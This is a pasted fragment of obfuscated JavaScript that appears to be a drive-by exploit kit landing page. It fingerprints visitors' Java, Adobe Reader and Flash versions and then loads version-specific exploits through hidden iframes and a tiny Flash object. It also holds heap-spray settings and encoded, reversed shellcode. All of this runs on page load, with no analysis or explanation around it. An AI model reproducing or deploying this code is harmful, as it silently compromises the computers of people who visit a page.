  2137.    d.innerHTML = "<iframe src=\"/forum/links/column.php?loh="+x("c833f")+"&gggijbpx="+x("occ")+"&xtppbw=2v:1k:1m:32:33:1k:1k:31:1j:1o&jbu="+x(pdfver.join("."))+"\"></iframe>";
  2138.    document.body.appendChild(d);
  2139.  }
  2140.  function p2()
  2141.  {
  2142.    var d=document.createElement("div");
  2143.    d.innerHTML = "<iframe src=\"/forum/links/column.php?olnvlwxj="+x("c833f")+"&xdhhdvud="+x("c")+"&hgzmul=2v:1k:1m:32:33:1k:1k:31:1j:1o&ohu="+x(pdfver.join("."))+"\"></iframe>";
  2144.    document.body.appendChild(d);
  2145.  }
  2146.  function f1()
  2147.  {
  2148.    return false;
  2149.  }
  2150.  function getCN()
  2151.  {
  2152.    return "/forum/links/column.php?seyjjv="+x("c833f")+"&apvpjz="+x("cvwyb")+"&mzb=2v:1k:1m:32:33:1k:1k:31:1j:1o&vsoyj=igoe"
  2153.  }
  2154.  function getBlockSize()
  2155.  {
  2156.    return 1024
  2157.  }
  2158.  function getAllocSize()
  2159.  {
  2160.    return 1024*1024
  2161.  }
  2162.  function getAllocCount()
  2163.  {
  2164.    return 300
  2165.  }
  2166.  function getFillBytes()
  2167.  {
  2168.    var a='%u'+'0c0c';
  2169.    return a+a
  2170.  }
  2171.  function getShellCode()
  2172.  {
  2173.    var a="8200!%5482!%4451!%e015!%51d5!%c4c5!%34e0!%5191!%e0e5!%9174!%2421!%2191!%b191!%3421!%2191!%9134!%b121!%21b1!%b1a1!%5421!%2191!%9134!%e521!%51a1!%74d4!%b1e0!%21b1!%9114!%1421!%2191!%9164!%8121!%51b1!%85e4!%8571!%8504!%6460!%d554!%7444!%70b4!%34b5!%1464!%7044!%d554!%74a5!%70e4!%0181!%0181!%d521!%60a5!%74a5!%94c5!%5414!%44d4!%c4d4!%7070!%8521!%c5c5!%8504!%2370!%15e1!%eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d2a!%4c0b!%6662!%7d6a!%6d7d!%0c4b!%e702!%6d7d!%8224!%ce24!%82d5!%8a71!%2df6!%82d5!%8a71!%b3f6!%a23c!%423c!%babe!%e7c2!%b77d!%3c42!%82ba!%c224!%7de7!%82b7!%e324!%8ed5!%c3da!%7de7!%2482!%b7f7!%2482!%2482!%9697!%53c2!%0ac6!%c281!%2a9e!%8217!%5312!%eec6!%4444!%60c4!%53d2!%fec6!%a4c5!%f585!%5382!%fec6!%1e97!%0cb1!%423a!%7de7!%8282!%0d82!%b704!%b580!%8050!%c002!%fec6!%b1a1!%e5a5!%c0c2!%fec6!%f4b5!%a5d4!%c2c0!%42fe!%47c0!%825a!%9282!%4cc2!%a59a!%a23c!%7d3c!%7d7d!%0c94!%3a0c!%ce02!%e3ba!%c77d!%4454!%d5a5!%8204!%6482!%0474!%7dbc!%bed2!%83ba!%3a67!%3a4c!%87d7!%8e13!%87ba!%8282!%7d82!%8604!%8724!%8207!%8282!%0c82!%ac1d!%7d7d!%0b7d!%170c!%24d2!%3afd!%0402!%bd3a!%eb3c!%c5b2!%42b1!%8a55!%0480!%583a!%3cb7!%17be!%3867!%b2de!%c23a!%5f3a!%0fb2!%423a!%c7c0!%4c7d!%5ae6!%4236!%e43a!%b25f!%67c0!%673a!%d5ec!%3173!%3c9d!%2f86!%52b2!%9e3e!%c502!%01ad!%6983!%3f72!%deb1!%58b2!%964d!%1e16!%ddb1!%80b2!%3ae5!%dde7!%05b2!%c5d1!%413a!%3ad5!%97e7!%3c46!%971c!%ccd5!%c0da!%fac1!%d53d!%11e2!%bee6!%8681!%093a!%7d7d!%d383!%9a6c!%b140!%b2c5!%6741!%e43a!%b13f!%e502!%e73a!%8543!%423a!%3a86!%8681!%c43a!%b18e!%1c77!%d5c1!%dacc!%ffff!%beff!%508e!%afbe!%042e!%0382!%ef08!%9eb0!%6618!%139c!%0185!%cfbe!%4ecf!%6638!%1414!%1414!%".split("").reverse().join("");
  2174.    return str_replace((window.document)?"%!":"", "%u", a)
  2175.  }
  2176.  function ff2()
  2177.  {
  2178.    var oSpan=document.createElement("span");
  2179.    var url="/forum/links/column.php?cha="+x("c833f")+"&oqbqt="+x("yxjk")+"&hahphpgk=2v:1k:1m:32:33:1k:1k:31:1j:1o&pdwgygwj=liczqqdo";
  2180.    oSpan.innerHTML="<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'><param name='movie' value='"+url+"' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed src='"+url+"' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash' width='10' height='10'></embed></object>";
  2181.    document.body.appendChild(oSpan);
  2182.  }
  2183.  document.write('');
  2184.  setTimeout(end_redirect,61000);
  2185.  var pdfver=[];
  2186.  function svwrbew6436b($)
  2187.  {
  2188.    var ar = [];
  2189.    var javax = ($.getVersion("Ja"+"va")+".").toString()["split"](".");
  2190.    if ($.isMinVersion("Ja"+"va")>=0&&((javax[0]==1&&javax[1]==7&&javax[3]<9)))
  2191.    {
  2192.      ar["push"](j2);
  2193.    }
  2194.    else if($.isMinVersion("Ja"+"va")>=0&&((javax[0]==1&&javax[1]==6&&javax[3]<33)||(javax[0]==1&&javax[1]<6)))
  2195.    {
  2196.      ar["push"](j1);
  2197.    }
  2198.    pdfver=PluginDetect.getVersion("AdobeReader");
  2199.    if(window.document)if(typeof pdfver=="string")
  2200.    {
  2201.      pdfver=pdfver["split"](".")
  2202.    }
  2203.    else
  2204.    {
  2205.      pdfver=[0,0,0,0]
  2206.    }
  2207.    if(pdfver[0]>0&&pdfver[0]<8)
  2208.    {
  2209.      if(window.document)ar["push"](p1);
  2210.    }
  2211.    if(window.document&&(pdfver[0]==8||(pdfver[0]==9&&pdfver[1]<4)))
  2212.    {
  2213.      ar["push"](p2);
  2214.    }
  2215.    var ver = ($$.getVersion("Flash")+".").toString()["split"](".");
  2216.    if (((ver[0]==10&&ver[1]==0&&ver[2]>40)||(window.document&&(ver[0]==10&&ver[1]>0)&&(ver[0]==10&&ver[1]<2)))||window.document&&((ver[0]==10&&ver[1]==2&&ver[2]<159)||(ver[0]==10&&ver[1]<2)))
  2217.    {
  2218.      ar["push"](ff2);
  2219.    }
  2220.    if((ver[0]==10&&ver[1]==3&&ver[2]==181&&ver[3]<=23)||(ver[0]==10&&ver[1]==3&&ver[2]<181))
  2221.    {
  2222.      ar["push"](f1);
  2223.    }
  2224.    var arcalli=0;
  2225.    var arcall = function()
  2226.    {
  2227.      if(ar.length<=arcalli)return 123;
  2228.      ss=setTimeout;
  2229.      var res=ar[arcalli]();
  2230.      arcalli++;
  2231.      if(res&&window.document)
  2232.      {
  2233.        ss(function()
  2234.        {
  2235.          arcall()
  2236.        }
  2237.        ,5509);
  2238.      }
  2239.      else
  2240.      {
  2241.        arcall();
  2242.      }
  2243.    };
  2244.    arcall();
  2245.  }
  2246.  $$["onDetec"+"tionDone"]("Ja"+"va", svwrbew6436b, "../data/getJavaInfo.jar");
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top